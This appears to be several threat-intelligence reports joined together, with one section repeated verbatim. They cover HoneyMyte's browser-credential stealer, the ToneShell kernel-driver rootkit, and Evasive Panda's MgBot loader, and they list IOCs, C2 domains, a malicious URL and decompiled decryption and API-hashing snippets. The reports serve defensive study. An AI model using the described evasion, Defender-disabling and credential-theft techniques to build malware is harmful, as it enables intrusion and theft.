The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

Overview of the attacks

In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.

Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.

The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.

Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.

Compromised digital certificate

The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.

We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.

Technical details of the malicious driver

The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.

The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.

API resolution

To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.

The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.

Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.

The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.

Protection of the driver file

The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:

• FileRenameInformation
• FileDispositionInformation
• FileRenameInformationBypassAccessCheck
• FileDispositionInformationEx
• FileRenameInformationEx
• FileRenameInformationExBypassAccessCheck

These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.

Protection of registry keys

The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:

• ProjectConfiguration
  
• ProjectConfiguration\Instances
  
• ProjectConfiguration Instance

To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.

The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.

The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:

• RegNtPreCreateKey
  
• RegNtPreOpenKey
  
• RegNtPreCreateKeyEx
  
• RegNtPreOpenKeyEx

Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.

Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.

Protection of user-mode processes

The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.

Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.

This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.

The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.

Payload injection

The driver delivers two user-mode payloads.

The first payload spawns an svchost process and injects a small delay-inducing shellcode.  The PID of this new svchost instance is written to a file for later use.

The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.

Injection workflow:

The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.

After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.

Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.

ToneShell backdoor

The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.

Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.

The samples we have analyzed contact two command-and-control servers:

• avocadomechanism[.]com
  
• potherbreference[.]com

ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.

Packet layout:

• Header (3 bytes): Fake TLS marker
• Size (2 bytes): Payload length
• Payload: Encrypted with a rolling XOR key

The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:

Command ID	Description
0x1	Create temporary file for incoming data
0x2 / 0x3	Download file
0x4	Cancel download
0x7	Establish remote shell via pipe
0x8	Receive operator command
0x9	Terminate shell
0xA / 0xB	Upload file
0xC	Cancel upload
0xD	Close connection

Conclusion

We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.

HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.

Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.

Recommendations

To protect themselves against this threat, organizations should:

• Implement robust network security measures, such as firewalls and intrusion detection systems.
• Use advanced threat detection tools, such as endpoint detection and response (EDR) solutions.
• Provide regular security awareness training to employees.
• Conduct regular security audits and vulnerability assessments to identify and remediate potential vulnerabilities.
• Consider implementing a security information and event management (SIEM) system to monitor and analyze security-related data.

By following these recommendations, organizations can reduce their risk of being compromised by the HoneyMyte APT group and other similar threats.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our APT intelligence reporting service. If you are interested, please contact intelreports@kaspersky.com.

36f121046192b7cac3e4bec491e8f1b5        AppvVStram_.sys
fe091e41ba6450bcf6a61a2023fe6c83         AppvVStram_.sys
abe44ad128f765c14d895ee1c8bad777       ProjectConfiguration.sys
avocadomechanism[.]com                            ToneShell C2
potherbreference[.]com                                 ToneShell C2

Overview of the attacks

In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.

Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.

The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.

Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.

Compromised digital certificate

The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.

We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.

Technical details of the malicious driver

The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.

The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.

API resolution

To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.

The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.

Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.

The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.

Protection of the driver file

The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:

• FileRenameInformation
• FileDispositionInformation
• FileRenameInformationBypassAccessCheck
• FileDispositionInformationEx
• FileRenameInformationEx
• FileRenameInformationExBypassAccessCheck

These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.

Protection of registry keys

The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:

• ProjectConfiguration
  
• ProjectConfiguration\Instances
  
• ProjectConfiguration Instance

To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.

The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.

The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:

• RegNtPreCreateKey
  
• RegNtPreOpenKey
  
• RegNtPreCreateKeyEx
  
• RegNtPreOpenKeyEx

Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.

Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.

Protection of user-mode processes

The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.

Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.

This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.

The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.

Payload injection

The driver delivers two user-mode payloads.

The first payload spawns an svchost process and injects a small delay-inducing shellcode.  The PID of this new svchost instance is written to a file for later use.

The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.

Injection workflow:

The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.

After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.

Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.

ToneShell backdoor

The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.

Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.

The samples we have analyzed contact two command-and-control servers:

• avocadomechanism[.]com
  
• potherbreference[.]com

ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.

Packet layout:

• Header (3 bytes): Fake TLS marker
• Size (2 bytes): Payload length
• Payload: Encrypted with a rolling XOR key

The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:

Command ID	Description
0x1	Create temporary file for incoming data
0x2 / 0x3	Download file
0x4	Cancel download
0x7	Establish remote shell via pipe
0x8	Receive operator command
0x9	Terminate shell
0xA / 0xB	Upload file
0xC	Cancel upload
0xD	Close connection

Conclusion

We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.

HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.

Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.

Recommendations

To protect themselves against this threat, organizations should:

• Implement robust network security measures, such as firewalls and intrusion detection systems.
• Use advanced threat detection tools, such as endpoint detection and response (EDR) solutions.
• Provide regular security awareness training to employees.
• Conduct regular security audits and vulnerability assessments to identify and remediate potential vulnerabilities.
• Consider implementing a security information and event management (SIEM) system to monitor and analyze security-related data.

By following these recommendations, organizations can reduce their risk of being compromised by the HoneyMyte APT group and other similar threats.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our APT intelligence reporting service. If you are interested, please contact intelreports@kaspersky.com.

36f121046192b7cac3e4bec491e8f1b5        AppvVStram_.sys
fe091e41ba6450bcf6a61a2023fe6c83         AppvVStram_.sys
abe44ad128f765c14d895ee1c8bad777       ProjectConfiguration.sys
avocadomechanism[.]com                            ToneShell C2
potherbreference[.]com                                 ToneShell C2

Introduction

The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.

The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.

Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection vector

The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.

In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:

http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe

There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.

Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.

The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.

The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:

for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}

After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:

• Malware installation path: %ProgramData%\Microsoft\MF
• Resource domain: http://www.dictionary.com/
• Resource URI: image?id=115832434703699686&product=dict-homepage.png
• MgBot encrypted configuration

The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.

If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.

Multi-stage shellcode execution

As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.

unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}

The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.

If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.

To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:

sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d

This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.

From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:

key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}

The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.

Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.

Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.

Secondary loader

We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.

The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.

The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.

This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.

